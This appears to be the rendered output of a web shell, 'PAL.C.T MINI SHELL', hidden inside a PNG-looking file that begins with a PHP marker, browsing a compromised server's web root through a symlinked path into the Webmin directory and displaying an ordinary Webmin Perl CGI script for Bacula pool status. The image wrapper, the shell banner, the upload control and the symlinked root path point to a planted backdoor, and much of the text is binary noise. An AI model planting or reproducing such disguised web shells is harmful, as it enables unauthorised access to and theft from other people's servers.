�php  IHDRwQ)B�a pHYs  ��sRGB���gAMA�� �a�IDATx��Mk\U��s&uo,�m�D )Xw�+�e?��tw.�o�Wp��;���QHZnw�`gaiJ�9�����̟灙����a�=�nl�[ ʨG��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$�����y H����@�E7j�� 1j+OF����Rg}ܫ�;@�E��a�����~ �j`�u�'o�> �j�-$�_�q?�q�SXzG'��ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/bacula-backup/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/bacula-backup/poolstatus_form.cgi

#!/usr/bin/perl
# Show a form for displaying the status of one pool

require './bacula-backup-lib.pl';
&ui_print_header(undef,  $text{'poolstatus_title'}, "", "poolstatus");
&ReadParse();

# Show pool selector
$conf = &get_director_config();
@pools =  map { $n=&find_value("Name", $_->{'members'}) }
		&find("Pool", $conf);
@pools = sort { lc($a) cmp lc($b) } @pools;
if (@pools == 1) {
	$in{'pool'} ||= $pools[0];
	}
print &ui_form_start("poolstatus_form.cgi");
print "<b>$text{'poolstatus_show'}</b>\n";
print &ui_select("pool", $in{'pool'},
	 [ map { [ $_ ] } @pools ]);
print &ui_submit($text{'poolstatus_ok'}),"<br>\n";
print &ui_form_end();

if ($in{'pool'}) {
	# Show volumes in this pool
	@volumes = &get_pool_volumes($in{'pool'});

	print &ui_subheading($text{'poolstatus_volumes'});
	$never = "<i>$text{'poolstatus_never'}</i>";
	if (@volumes) {
		print &ui_form_start("delete_volumes.cgi", "post");
		print &ui_hidden("pool", $in{'pool'}),"\n";
		print &select_all_link("d", 1),"\n";
		print &select_invert_link("d", 1),"<br>\n";
		@tds = ( "width=5" );
		print &ui_columns_start([ "",
					  $text{'poolstatus_name'},
					  $text{'poolstatus_type'},
					  $text{'poolstatus_first'},
					  $text{'poolstatus_last'},
					  $text{'poolstatus_bytes'},
					  $text{'poolstatus_status'} ],
					"100%", 0, \@tds);
		foreach $v (@volumes) {
			print &ui_columns_row([
				&ui_checkbox("d", $v->{'volumename'}),
				$v->{'volumename'},
				$v->{'mediatype'},
				$v->{'firstwritten'} || $never,
				$v->{'lastwritten'} || $never,
				$v->{'volbytes'},
				$v->{'volstatus'},
				], \@tds);
			}
		print &ui_columns_end();
		print &select_all_link("d", 1),"\n";
		print &select_invert_link("d", 1),"<br>\n";
		print &ui_form_end([ [ "delete",$text{'poolstatus_delete'} ] ]);
		}
	else {
		print "<b>$text{'poolstatus_none'}</b><p>\n";
		}
	}

&ui_print_footer("", $text{'index_return'});

sub joblink
{
return $jobs{$_[0]} ? &ui_link("edit_job.cgi?name=".&urlize($_[0])."","$_[0]") : $_[0];
}

� y���~�or�5�J�={��E��e�u磝Qk��ᯘG{�?���+�]������ן�?w�M3X^��歌>{�7پ�K�>�o��n�\����j�y��R ���g/�=��f�O��r�o��NV�v��~�Y+��NG�u���Ý����HW��y�w�[eQ�ʨ�S�b��>������>�}G�mx[o[<��{���Ϯ_��qF� ��vMIEND�B`�